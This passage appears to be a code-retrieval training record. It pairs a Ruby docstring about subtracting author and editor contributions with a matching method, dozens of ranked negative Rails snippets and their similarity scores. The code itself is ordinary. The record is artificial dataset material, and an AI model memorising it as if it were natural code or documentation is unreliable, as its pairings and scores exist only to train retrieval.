user.id)\n end\n editors.each do |user|\n SiteData.update_contribution(:del, editors_join_table, user.id)\n end\n\n return unless parent.description_id == id\n\n # Make sure parent doesn't point to a nonexisting object.\n parent.description_id = nil\n parent.save_without_our_callbacks\n end", "def edit\n @wiki_page = MiniWikiPage.find_by_name(params[:wiki_page])\n @wiki_revision = @wiki_page.mini_wiki_revision\n unless @username.blank?\n @wiki_revision.author = @username\n end\n render :template => 'edit'\n end", "def can_edit?(user)\n user && self.creator_id == user.id\n end", "def is_author_of?(name)\n self.is_author? and !self.programs.find_by_name(name).nil?\n end", "def authors()\n authors_or_editors(@text[:author].to_names) if @text[:author]\n end", "def author_name\n author.full_name if author\n end", "def author\n user\n end", "def default_author\n if author \n author \n else\n 'joe'\n end \n end", "def assign_editor(new_editor)\n new_editor = new_editor.gsub(/^\\@/, \"\")\n new_body = issue.body.gsub(/\\*\\*Editor:\\*\\*\\s*(@\\S*|Pending)/i, \"**Editor:** @#{new_editor}\")\n github_client.update_issue(@nwo, @issue_id, issue.title, new_body, :assignees => [])\n update_assigness([new_editor])\nend", "def update!(**args)\n @author = args[:author] if args.key?(:author)\n @commit_message = args[:commit_message] if args.key?(:commit_message)\n end", "def grant!\n unless person.editors.include?(editor)\n person.editors << editor\n EditorRequestMailer.notification(self).deliver_now\n end\n destroy\n end", "def author\n @author_data ||= read(\"/user/#{@author}/about.json\", :handler => \"User\")\n end" ]
[ "0.6516556", "0.64840055", "0.6371271", "0.62815714", "0.6194216", "0.61086464", "0.6064158", "0.606095", "0.6017654", "0.5987579", "0.5984764", "0.5870205", "0.586114", "0.586114", "0.58566636", "0.58293194", "0.5824801", "0.577044", "0.57544994", "0.5752118", "0.5749067", "0.57320416", "0.57306415", "0.5715103", "0.56853414", "0.5645206", "0.5612944", "0.560176", "0.5589604", "0.5582575", "0.55734915", "0.5544321", "0.5530061", "0.5530061", "0.5529221", "0.5527745", "0.5527171", "0.5522878", "0.5515098", "0.55108464", "0.55020267", "0.54991055", "0.5497476", "0.54950917", "0.549127", "0.5478418", "0.54779017", "0.5461977", "0.5457718", "0.5451971", "0.5449482", "0.5446182", "0.54412884", "0.54368985", "0.5434621", "0.5422026", "0.5421306", "0.5402355", "0.53992283", "0.53940916", "0.53932256", "0.5357965", "0.5357036", "0.535641", "0.53482807", "0.5343694", "0.53399307", "0.53305465", "0.53203154", "0.53151447", "0.53102565", "0.5309321", "0.5307246", "0.5305556", "0.53046507", "0.5304601", "0.53043705", "0.53043705", "0.53043705", "0.53029734", "0.52943957", "0.5278398", "0.5274383", "0.52587056", "0.52578175", "0.5253394", "0.52380496", "0.52372456", "0.52364594", "0.5234933", "0.5226602", "0.5222919", "0.52192616", "0.52150744", "0.52121294", "0.52084035", "0.52062726", "0.5204717", "0.52029294", "0.5198761" ]
0.67487556
0
When destroying an object, subtract contributions due to authorship/editorship.
def update_users_and_parent # Update editors' and authors' contributions. authors.each do |user| SiteData.update_contribution(:del, authors_join_table, user.id) end editors.each do |user| SiteData.update_contribution(:del, editors_join_table, user.id) end return unless parent.description_id == id # Make sure parent doesn't point to a nonexisting object. parent.description_id = nil parent.save_without_our_callbacks end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def destroy\n raise Codeplane::OwnershipError, \"you can only remove your own repositories\" unless mine?\n super\n end", "def destroy\n self.deactivate\n if @affects\n @affects.dup.each do |affect|\n affect.clear(true)\n end\n end\n # clear affects that have this object as a source and require a source\n if @source_affects\n @source_affects.each do |source_affect|\n\n end\n end\n if @keywords\n @keywords.decrement_use_count\n end\n if @model && @model.temporary\n @model.decrement_use_count\n end\n @affects = nil\n @source_affects = nil\n Game.instance.remove_gameobject(self)\n return\n end", "def destroy\n @update_span = params[:update]\n @object = referenced_object\n if current_user.role? :superadmin\n # destroy the object\n @undo_object = @object.versions.last\n @object.destroy\n respond_to do |format|\n format.html { } unless @Klass.not_accessible_through_html?\n format.js { render :record_destroyed }\n end\n end\n end", "def destroy\n @contribution = Contribution.find(params[:id])\n @contribution.destroy\n\n respond_to do |format|\n format.html { redirect_to contributions_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @reward_owner.destroy\n @reward_owners = RewardOwner.all\n end", "def destroy\n @contribution.destroy\n respond_to do |format|\n format.html { redirect_to contributions_url, notice: 'Contribution was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @contribution.destroy\n respond_to do |format|\n format.html { redirect_to contributions_url, notice: 'Contribution was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @puntuation.destroy\n @unvoted_contribution = Contribution.find(@puntuation.contribution_id)\n @unvoted_contribution.decrement!(:puntuation, 1)\n respond_to do |format|\n format.html { redirect_to :back }\n format.json { head :no_content }\n end\n end", "def delete_object \n diff = -1*self.quantity \n \n self.update_quantity( diff )\n self.destroy \n end", "def destroy\n case work\n when Valkyrie::Resource\n embargo_manager = Hyrax::EmbargoManager.new(resource: work)\n return if embargo_manager.embargo.embargo_release_date.blank?\n\n embargo_manager.deactivate!\n work.embargo = Hyrax.persister.save(resource: embargo_manager.embargo)\n Hyrax::AccessControlList(work).save\n else\n work.embargo_visibility! # If the embargo has lapsed, update the current visibility.\n work.deactivate_embargo!\n work.embargo.save!\n work.save!\n end\n end", "def destroy\n @authorship = Authorship.in_conference(current_conference).find(params[:id])\n if @authorship.destroy\n flash[:notice] = \"Authorship was successfully destroyed.\"\n else\n flash[:error] = \"Failed to destroy Authorship #{@authorship.errors.full_messages}\"\n end\n\n respond_with @authorship, :success_action => :back, :action => :edit\n end", "def destroy\n @user_contribution.destroy\n respond_to do |format|\n format.html { redirect_to user_contributions_url, notice: 'User contribution was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @contribution.destroy\n respond_to do |format|\n format.html { redirect_to contributions_url, notice: '投稿を削除しました' }\n format.json { head :no_content }\n end\n end", "def destroy\n\n authorize @cov_recovered\n \n @city = City.find(@cov_recovered.city.id)\n @city.cov_recovered_count -= @cov_recovered.amount\n # @city.cov_positive_count += @cov_recovered.amount\n @city.save\n\n\n # @cov_positive = CovPositive.new\n # @cov_positive.city = @city\n # @cov_positive.amount = @cov_recovered.amount * 1\n # @cov_positive.added_at = @cov_recovered.added_at\n # @cov_positive.save\n\n @cov_recovered.destroy\n respond_to do |format|\n format.html { redirect_to cov_recovereds_url, notice: 'Cov recovered was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n destroied_user = current_user\n\n aimlicensecontainer = destroied_user.aim_license_container\n aimlicensecontainer.destroy\n\n likelicensecontainer = destroied_user.like_license_container\n likelicensecontainer.destroy\n\n gotlicensecontainer = destroied_user.got_license_container\n gotlicensecontainer.destroy\n\n super\n end", "def destroy\n authorize @objective.strategy\n @objective.destroy\n respond_to do |format|\n format.html { redirect_to objectives_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @contribution.destroy\n respond_to do |format|\n format.html { redirect_to contri_url, notice: 'Ask was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @gl_entry = GlEntry.find(params[:id])\n # if @gl_entry.gl_entry_credit\n # CommonActions.update_gl_accounts_for_gl_entry(@gl_entry.gl_account.gl_account_title, 'decrement', @gl_entry.gl_entry_credit)\n # end\n # if @gl_entry.gl_entry_debit\n # CommonActions.update_gl_accounts_for_gl_entry(@gl_entry.gl_account.gl_account_title, 'increment', @gl_entry.gl_entry_debit)\n # end\n @gl_entry.destroy\n\n respond_to do |format|\n format.html { redirect_to gl_entries_url }\n format.json { head :no_content }\n end\n end", "def leave_team_before_delete\n team&.users&.delete(self)\n team&.cleanup\n end", "def destroy\n @remainder = Remainder.find(params[:id])\n @remainder.update_attributes(quantity: 0)\n # @remainder.destroy\n \n respond_to do |format|\n format.html { redirect_to remainders_url, notice: t(:remainder_destroyed) }\n format.json { head :no_content }\n end\n end", "def destroy\n @contribution = Contribution.find(params[:id])\n @enseignant = @contribution.enseignant\n @contribution.destroy\n\n respond_to do |format|\n format.html { redirect_to enseignant_path(:id => @enseignant) }\n format.xml { head :ok }\n end\n end", "def destroy\n\n authorize @cov_negative\n \n @city = City.find(@cov_negative.city.id)\n # @city.cov_positive_count += @cov_negative.amount\n @city.cov_negative_count -= @cov_negative.amount\n @city.save\n\n @cov_negative.destroy\n respond_to do |format|\n format.html { redirect_to cov_negatives_url, notice: 'Cov negative was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @membership_contribution.destroy\n respond_to do |format|\n format.html { redirect_to membership_contributions_url, notice: 'Membership contribution was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n clear_cached_vars\n Regulate::Git::Interface.delete({\n :id => id,\n :commit_message => commit_message || \"Deleting resource #{title}\",\n :author_name => author_name,\n :author_email => author_email\n })\n end", "def destroy\n if @owned_card.user == current_user\n @owned_card.destroy\n end\n\n respond_to do |format|\n format.html { redirect_to owned_cards_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @contribution = Contribution.find(params[:id])\n @contribution.destroy\n\n respond_to do |format|\n format.html { redirect_to(contributions_url) }\n format.xml { head :ok }\n end\n end", "def decrement_or_destroy\n @coll_card_instances.decrement_qty_or_destroy(params[:card_id])\n end", "def destroy\n @internship_committee.destroy\n respond_to do |format|\n format.html { redirect_to internship_committees_url, notice: 'Internship committee was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @committee.ranks.find(params[:id]).destroy\n\n respond_to do |format|\n format.html { redirect_to [:edit, @committee], notice: t(:rank_successfully_destroyed) }\n format.json { head :no_content }\n end\n end", "def destroy\n\n authorize @cov_died\n \n @city = City.find(@cov_died.city.id)\n @city.cov_died_count -= @cov_died.amount\n # @city.cov_positive_count += @cov_died.amount\n @city.save\n\n\n # @cov_positive = CovPositive.new\n # @cov_positive.city = @city\n # @cov_positive.amount = @cov_died.amount * 1\n # @cov_positive.added_at = @cov_died.added_at\n # @cov_positive.save\n\n @cov_died.destroy\n respond_to do |format|\n format.html { redirect_to cov_dieds_url, notice: 'Cov died was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @user = User.all.first\n if @expense.gains\n @user.current_balance = @user.current_balance - @expense.amount\n else\n @user.current_balance = @user.current_balance + @expense.amount\n end\n @user.save\n @expense.destroy\n respond_to do |format|\n format.html { redirect_to expenses_url, notice: 'Expense was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @reward.destroy\n respond_to do |format|\n format.html { redirect_to publication_rewards_url, notice: 'Reward was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @contribution.destroy\n\n respond_to do |format|\n format.html { redirect_to(contributions_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @team.league.users.delete(current_user)\n @team.user.balance += @team.league.cost\n @team.user.save\n @team.destroy\n\n respond_to do |format|\n format.html { redirect_to root_path }\n format.json { head :no_content }\n end\n end", "def destroy(reassign_to = nil)\n if reassign_to && reassign_to.is_a?(DealCategory) && reassign_to.project == self.project\n Deal.update_all(\"category_id = #{reassign_to.id}\", \"category_id = #{id}\")\n end\n destroy_without_reassign\n end", "def destroy\n permissions = ReleaseMoneyPermission.where(transaction_for: 1, transaction_id: @material.id)\n permissions.destroy_all\n permissions = AddMaterialPermission.where(transaction_id: @material.id)\n permissions.destroy_all\n update_treasury(@material.payment_method, @material.price_with_taxes, MATERIAL, @material.id, \"مسح حركة شراء\", 0)\n TreasuryDiary.where(transaction_id: @material.id, transaction_type: 1).destroy_all\n m = MaterialPaymentDetail.find_by_id(@material.id)\n if (m)\n m.destroy\n end\n supplier = Supplier.find(@material.supplier_id)\n new_credit = supplier.credit - @material.debt\n supplier.update(credit: new_credit)\n @material.destroy\n respond_to do |format|\n format.html { redirect_to materials_url, notice: 'تم مسح عملية الشراء.' }\n format.json { head :no_content }\n end\n end", "def destroy\n redirect_to \"/\" and return unless current_user.is_admin_of?(@labor.project) or current_user.id==@labor.user.id\n @labor.destroy\n respond_to do |format|\n format.html { redirect_to [@community, @project], notice: 'Labor was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n \n \n if @conciliabank_detail.destroy \n\n @conciliabank[:saldo_final] = @conciliabank[:saldo_inicial] - @conciliabank.get_subtotal(\"cargos\") + @conciliabank.get_subtotal(\"abonos\")\n \n @conciliabank.update_attributes(:saldo_final=> @conciliabank[:saldo_final])\n\n flash[:notice]= \"Item fue eliminado satisfactoriamente \"\n redirect_to @conciliabank\n else\n flash[:error]= \"Item ha tenido un error y no fue eliminado\"\n render :show \n end \n\n end", "def destroy\n @user.likes.each do |like|\n @contribution = like.contribution\n @contribution.points -= 1\n @contribution.save\n end\n @user.likes.destroy_all\n @user.contributions.destroy_all\n @user.destroy\n respond_to do |format|\n format.html { redirect_to users_url}\n format.json { head :no_content }\n end\n end", "def destroy\n Log.new({user: current_user.user, \n subject: \"user:\"+@assigned.grantee,\n operation: \"revoked access\",\n object: \"table:\"+@assigned.relation\n }).save\n @assigned.destroy\n respond_to do |format|\n format.html { redirect_to assigneds_url, notice: 'Assigned was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @pr_committee_member.destroy\n respond_to do |format|\n format.html { redirect_to pr_committee_members_url, notice: 'Pr committee member was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @hunters_improvement.destroy\n respond_to do |format|\n format.html do\n redirect_to hunter_hunters_improvements_url, notice: 'Hunters improvement was successfully destroyed.'\n end\n format.json { head :no_content }\n end\n end", "def finished\n destination.hp -= damage\n\tGame.scene.remove_object self\n end", "def destroy\n @profile ||= @achievement.profile\n @achievement.destroy\n end", "def destroy\n @authorship = Authorship.find(params[:id])\n @authorship.destroy\n\n respond_to do |format|\n format.html { redirect_to authorships_url }\n format.xml { head :ok }\n end\n end", "def destroy\n\t\t@investor = Investor.find(params[:investor_id])\n\t\t@investor = @investor.proposals.find(params[:id])\n\t\tSystemLog.new( system_event: \"#{current_user.lastname}, #{current_user.email} destroyed their proposal #{@proposal.title} \", event_time: Time.now, users_id: current_user.id).save\n\t\t@investor.destroy\n\t\tredirect_to current_user\n\tend", "def destroy\n @cr_committee_member.destroy\n respond_to do |format|\n format.html { redirect_to cr_committee_members_url, notice: 'Cr committee member was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @open_source_contributor.destroy\n respond_to do |format|\n format.html { redirect_to open_source_contributors_url, notice: 'Open source contributor was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @commitment = Commitment.find(params[:id])\n @commitment.destroy\n\n respond_to do |format|\n format.html { redirect_to commitments_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @colaborattor.destroy\n respond_to do |format|\n format.html { redirect_to colaborattors_url, notice: I18n.t('messages.destroyed_with', item: @colaborattor.colaborattorname) }\n format.json { head :no_content }\n end\n end", "def destroy\n @role = Role.find(params[:id])\n authorize @role\n user = @role.user\n plan = @role.plan\n @role.destroy\n flash[:notice] = _('Access removed')\n deliver_if(recipients: user, key: 'users.added_as_coowner') do |_r|\n UserMailer.plan_access_removed(user, plan, current_user).deliver_now\n end\n redirect_to plan_contributors_path(plan)\n end", "def destroy\n authorize @collaboration.project, :author_access?\n\n @collaboration.destroy\n respond_to do |format|\n format.html do\n redirect_to user_project_path(@collaboration.project.author_id, @collaboration.project_id),\n notice: \"Collaboration was successfully destroyed.\"\n end\n format.json { head :no_content }\n end\n end", "def destroy\n @pr_committee.destroy\n respond_to do |format|\n format.html { redirect_to pr_committees_url, notice: 'Petition Review committee was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def remove_life \r\n @lives -= 1 # this is part of class and objects above\r\n end", "def destroy\n # Apply after embargo visibility\n curation_concern.visibility = curation_concern.visibility_after_embargo if curation_concern.embargo\n\n CurationConcerns::Actors::EmbargoActor.new(curation_concern).destroy\n\n # Removed the file permission confirmation screen since files always have the same permissions.\n # Instead apply the permissions from sufia/app/controllers/curation_concerns/permissions_controller.rb\n authorize! :edit, curation_concern\n # copy visibility\n VisibilityCopyJob.perform_later(curation_concern)\n\n # copy permissions\n InheritPermissionsJob.perform_later(curation_concern)\n redirect_to [main_app, curation_concern], notice: curation_concern.embargo_history.last\n end", "def destroy\n destroy_object @league\n end", "def destroy\n #TODO use deleteflag\n @community_user = CommunityUser.available_object(params[:id], current_user.id)\n @community_user.destroy\n respond_with(@community_user)\n end", "def destroy\n @chamber.destroy\n respond_to do |format|\n format.html { redirect_to chambers_url, notice: 'Chamber was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @authorship = Authorship.find(params[:id])\n @authorship.destroy\n\n respond_to do |format|\n format.html { redirect_to(authorships_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n if @challenge_score.user == current_user || current_user.admin?\n @challenge_score.destroy\n respond_to do |format|\n format.html { redirect_to challenge_scores_url, notice: 'Challenge score was successfully destroyed.' }\n format.json { head :no_content }\n end\n end\n\n\n end", "def destroy\n audit(@tenure, current_user)\n @tenure.destroy\n \n\n head :no_content\n end", "def destroy\n # In order to guard Player dependency on Equipo and avoid the system to crash\n # Execute player.seguro for all players associated to this team first\n #\n safeTeam = Equipo.find_by(name: \"99 - NO DETERMINADO\")\n @equipo.players.each do |plyr|\n plyr.seguro safeTeam.id\n end\n\n @equipo.destroy\n flash[:success] = 'Se eliminó correctamente el equipo.'\n redirect_to equipos_url\n end", "def destroy\n @campaign = Campaign.find(params[:campaign_id])\n \n # figure out better way to protect from users edit other users pledges\n if not @campaign.users.include? current_user\n redirect_to campaign_path(@campaign), :alert => \"You are not authorized to do this.\"\n end\n \n @pledge = Pledge.find(params[:id])\n @pledge.destroy\n\n respond_to do |format|\n format.html { redirect_to campaign_path(@campaign), notice: 'You have canceled your pledge.' }\n format.json { head :no_content }\n end\n end", "def destroy\n stat = Statistic.find_by(number:@isale.pharmacy_id)\n if stat.quantity == @isale.quantity\n stat.destroy\n else\n stat.update_attributes(quantity: stat.quantity - @isale.quantity)\n end\n\n @isale.destroy\n respond_to do |format|\n format.html { redirect_to isales_url, notice: 'Isale was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @ezii_delta_git.destroy\n respond_to do |format|\n format.html { redirect_to ezii_delta_gits_url, notice: 'Ezii delta git was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def removeMagazine _obj, _args\n \"_obj removeMagazine _args;\" \n end", "def destroy\n @user = current_user\n if @user.competences.count == 1\n @user.user_profile_progress -= 10\n end\n @competence.destroy\n @user.save!\n respond_to do |format|\n format.html { redirect_to '/profile#addMoreCompetences', notice: t('competences_controller.competences_delete_success') }\n format.json { head :no_content }\n end\n end", "def destroy\n\n if is_admin? && @ticket.want_delete\n refund = get_refund(@ticket)\n @ticket.user.update_attribute(\"balance\", @ticket.user.balance + refund)\n @ticket.destroy\n elsif is_admin? || @ticket.user_id == @current_user.id\n @ticket.update_attribute(\"want_delete\", true)\n end\n\n redirect_to event_path(@ticket.event)\n end", "def before_destroy(review)\n # rating\n review.user.score -= review.rating? ? 1 : 0;\n\n # review\n review.user.score -= review.review? ? 5 : 0;\n\n # save\n review.user.save\n end", "def destroy\n @lcb_user_reward.destroy\n respond_to do |format|\n format.html { redirect_to lcb_user_rewards_url, notice: 'Lcb user reward was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @character_reward.destroy\n respond_to do |format|\n format.html { redirect_to character_rewards_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @payable = Payable.find(params[:id])\n # Updating GlAccount\n # accountsPayableAmt = 0\n # @payable.payable_accounts.each do |payable_account|\n # CommonActions.update_gl_accounts(payable_account.gl_account.gl_account_title, 'decrement',payable_account.payable_account_amount,@payable.id )\n # accountsPayableAmt += payable_account.payable_account_amount\n # end\n # CommonActions.update_gl_accounts('ACCOUNTS PAYABLE', 'decrement',accountsPayableAmt, @payable.id )\n @payable.destroy\n\n\n\n respond_to do |format|\n format.html { redirect_to payables_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @object_owner.destroy\n respond_to do |format|\n format.html { redirect_to object_owners_url, notice: 'Object owner was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def removeTeamMember _obj, _args\n \"_obj removeTeamMember _args;\" \n end", "def destroy\n @relative_user = @relative.user\n name = @relative_user.present? ? \"#{@relative_user.first_name} #{@relative_user.last_name}\" : @relative.invited_email\n @relative.destroy\n unless current_user.in? [@user, @relative_user].reject(&:nil?)\n Rails.logger.info \"current_user: #{current_user}\\n@user: #{@user}\\n@relative_user: #{@relative_user}\"\n raise 'current_user is neither @user nor @relative'\n end\n respond_to do |format|\n format.html do\n if @relative_user.present? && current_user == @relative_user\n redirect_to user_home_path(@relative_user), flash: { success: \"Your Relative membership with #{@user.first_name} #{@user.last_name} has been destroyed.\" }\n else\n redirect_to user_membership_path(@user, @family), flash: { success: \"#{name} was successfully removed from your membership.\" }\n end\n end\n format.json { head :no_content }\n end\n end", "def destroy\n @given_circumstance.destroy\n end", "def destroy\n @subject_carrer_user.destroy\n @subject_carrer_user.sum_points\n #@subject_carrer_user.subject_user_name\n respond_to do |format|\n format.html { redirect_to subject_carrer_users_url, notice: 'Subject carrer user was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @championship.destroy\n\n head :no_content\n end", "def destroy_associated_objects\r\n # KKL Verlauf\r\n verlaeufe = KKLVerlauf.find(:all, :conditions => [\"KtoNr = ?\", self.KtoNr])\r\n verlaeufe.each do |verlauf|\r\n verlauf.destroy()\r\n end\r\n\r\n # EEKonto\r\n eeKonten = EeKonto.find(:all, :conditions => [\"KtoNr = ?\", self.KtoNr])\r\n eeKonten.each do |ee|\r\n ee.destroy()\r\n end\r\n\r\n # ZEKonto\r\n zeKonten = ZeKonto.find(:all, :conditions => [\"KtoNr = ?\", self.KtoNr])\r\n zeKonten.each do |ze|\r\n ze.destroy()\r\n end\r\n\r\n end", "def destroy\n @committees_voivodship.destroy\n respond_to do |format|\n format.html { redirect_to committees_voivodships_url, notice: 'Committees voivodship was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy()\n\t\t#if it has a shield remove shield but don't destroy ship or remove a life\n\t\tif @shields > 0\n\t\t\t@shields -= 1\n\t\t\treturn 0\n\t\t#removes a life and checks to see if it was the last one left\n\t\telsif @lives.pop == nil\n\t\t\t@exists = false\n\t\t\treturn -1\n\t\t#else life was 'pop'ed on the last check so just return 1\n\t\telse\n\t\t\treturn 1\n\t\tend\n\tend", "def destroy\n @org_award.destroy\n respond_to do |format|\n format.html { redirect_to org_awards_url, notice: 'Org award was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @modifier = Modifier.find(params[:id])\n @modifier.destroy\n\n respond_to do |format|\n format.html { redirect_to modifiers_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @reward.destroy\n respond_to do |format|\n format.html { redirect_to root_url, notice: 'Reward was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @championship.destroy\n end", "def destroy_with_audit(object)\n ret = object.destroy\n audit_destroy(object) if ret\n ret\n end", "def destroy\n @the_name = @person.complete_name\n @the_id = @person.id\n @organisation = @person.organisation\n @person.destroy\n if Person.where(id: @the_id).count > 0\n the_notice = \"[#{@the_name}] was moved to 'Retrait' (Still used as an author).\"\n else\n the_notice = \"[#{@the_name}] was successfully deleted.\"\n end\n flash[:notice] = the_notice\n respond_to do |format|\n format.html\n format.js\n end\n end", "def destroy\n authorize! :destroy, @repo\n @repo_cred.destroy\n respond_to do |format|\n format.html { redirect_to @repo, notice: 'Repo cred was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n authorize @colaboradore\n @colaboradore.destroy\n respond_to do |format|\n format.html { redirect_to colaboradores_url, notice: 'Colaborador eliminado.' }\n format.json { head :no_content }\n end\n end", "def destroys(object,*args,&block)\n opts = args.last.is_a?(Hash) ? args.pop.symbolize_keys : {}\n deletes_to(path_for(object,args),opts,&block)\n end", "def destroy\n torch = @mission.torches.find_by torcher: current_user\n torch.destroy\n respond_to do |format|\n format.html { redirect_to mission_path(@mission) }\n format.json { render json: { count: @mission.torches.count } }\n end\n end", "def destroy\n\n authorize @cov_odp\n \n @city = City.find(@cov_odp.city.id)\n @city.cov_odp_count -= @cov_odp.amount\n @city.save\n\n @cov_odp.destroy\n respond_to do |format|\n format.html { redirect_to cov_odps_url, notice: 'Cov odp was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy \n @release = Release.find(params[:id])\n #update_cashier(@release.value * -1)\n @release.view = false\n @release.save\n \n respond_to do |format|\n format.html { redirect_to cashier_path(params[:cashier_id]) }\n format.json { head :no_content }\n end\n end", "def destroy\n @investor.destroy\n redirect_to investors_url\n end", "def destroy\n @esod_contractor.destroy\n respond_to do |format|\n format.html { redirect_to esod_contractors_url, notice: 'Contractor was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n if !current_member.the_admin?\n redirect_to \"/\", notice: \"Access denied\"\n return\n end\n\n @member.destroy unless @member.core_member?\n respond_to do |format|\n format.html { redirect_to members_url, notice: \"Member was#{@member.core_member? ? ' not' : ''} successfully destroyed.\"}\n format.json { head :no_content }\n end\n end", "def destroy\n @card = Card.find(params[:id])\n @card.project.actions.create! activity: \"#{current_user.name} destroyed \\\"#{@card.story}\\\" Card\"\n @card.destroy\n\n respond_to do |format|\n format.html { redirect_to cards_url }\n format.json { head :no_content }\n format.js\n end\n end", "def hit_by_attack(other)\n return if invincibility.positive?\n\n @health -= other.damage\n other.destroy\n end", "def destroy\n @participant.destroy\n respond_to do |format|\n format.html { redirect_to participants_url }\n format.json { head :no_content }\n end\n Partextra.where(participant_id: @participant.id).destroy_all\n Badge.where(participant_id: @participant.id).destroy_all\n end", "def destroy\n @divorce = current_user.divorce\n @divorce.destroy\n redirect_to root_path\n end", "def removeCredits(removedModule)\n user = User.find(session[:user_id])\n removedModule = Subject.find_by(module_code: removedModule)\n user.credits -= removedModule.credits\n user.save\n end" ]
[ "0.6238543", "0.6106999", "0.6017877", "0.58815247", "0.5880347", "0.58549714", "0.58549714", "0.58278275", "0.58167106", "0.5816635", "0.5800531", "0.57782096", "0.57274127", "0.57160044", "0.57147646", "0.57120323", "0.5675845", "0.56664795", "0.56626797", "0.5656754", "0.56529546", "0.5638919", "0.56298566", "0.56224567", "0.56086206", "0.56048524", "0.560089", "0.5599592", "0.5562409", "0.55470115", "0.55370796", "0.5531336", "0.55250216", "0.55160004", "0.5505358", "0.55036825", "0.54991543", "0.54895806", "0.5485623", "0.54847306", "0.5481247", "0.5477101", "0.54688054", "0.54659885", "0.54657704", "0.54654604", "0.54600024", "0.5459324", "0.54525083", "0.54509866", "0.54360265", "0.5429951", "0.54261345", "0.5424004", "0.5423546", "0.5420688", "0.54193807", "0.5415638", "0.5414653", "0.541422", "0.5409545", "0.53981996", "0.5394663", "0.5385414", "0.53825194", "0.5380659", "0.53758824", "0.53745914", "0.5371196", "0.53711104", "0.536996", "0.5369705", "0.53663564", "0.53650206", "0.5362175", "0.536066", "0.5360263", "0.53584415", "0.53580666", "0.53563046", "0.5350454", "0.5349461", "0.5344803", "0.5339022", "0.5335686", "0.532965", "0.5328451", "0.5327632", "0.532481", "0.53245634", "0.5322737", "0.5322645", "0.5322128", "0.53184724", "0.5315808", "0.5314226", "0.5310748", "0.5305183", "0.53023285", "0.53012455", "0.53006107" ]
0.0
-1
Descriptive subtitle for this description (when it is not necessary to include the title of the parent object), in plain text. [I'm not sure I like this here. It might violate MVC a bit too flagrantly... JPH]
def put_together_name(full_or_part) tag = :"description_#{full_or_part}_title_#{source_type}" user_name = begin user.legal_name rescue StandardError "?" end args = { text: source_name, user: user_name } if full_or_part == :full args[:object] = parent.format_name elsif source_name.present? tag = :"#{tag}_with_text" end tag.l(args) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def subtitle\n @descriptive_detail.subtitle\n end", "def detailed_description\n \"#{parent.detailed_description} #{description}\".strip\n end", "def subtitle\n {}\n end", "def text\n self.title + \" -- \" + self.description\n end", "def description; @text; end", "def full_title subtitle\n\n\t\tbase = \"Codewatch.pl\"\n\n\t\tif not @company.nil?\n\t\t\tbase = @company.name + \" :: \" + base\n\t\tend\n\n\t\tif not @project.nil? and !@project.new_record?\n\t\t\tbase = @project.name + \" :: \" + base\n\t\tend\n\n\t\tif subtitle.blank?\n\t\t\tbase\n\t\telse\n\t\t\tsubtitle + \" :: \" + base\n\t\tend\n\tend", "def show_embedded_description_title(desc, _parent)\n type = desc.type_tag\n title = description_title(desc)\n links = []\n if writer?(desc)\n links << link_with_query(:EDIT.t, action: \"edit_#{type}\", id: desc.id)\n end\n if is_admin?(desc)\n links << link_with_query(:DESTROY.t,\n { action: \"destroy_#{type}\", id: desc.id },\n data: { confirm: :are_you_sure.l })\n end\n content_tag(:p, content_tag(:big, title) + links.safe_join(\" | \"))\n end", "def description\n text_get(7, @id)\n end", "def description\n\t\ts = \"#{title}, a song \"\n\t\ts+= \"by #{artist.name} \" if artist\n\t\ts+= \"on Stoffi\"\n\tend", "def title\n @descriptive_detail.title\n end", "def alt_text\n alt = ''\n\n if self.caption.present?\n alt << self.caption\n alt << ' - '\n end\n\n if self.description.present?\n alt << self.description\n end\n\n return alt\n end", "def description_title(desc)\n result = desc.partial_format_name\n\n # Indicate rough permissions.\n permit = if desc.parent.description_id == desc.id\n :default.l\n elsif desc.public\n :public.l\n elsif desc.is_reader?(@user) || in_admin_mode?\n :restricted.l\n else\n :private.l\n end\n result += \" (#{permit})\" unless /(^| )#{permit}( |$)/i.match?(result)\n\n t(result)\n end", "def descriptive_text\n description.blank? && 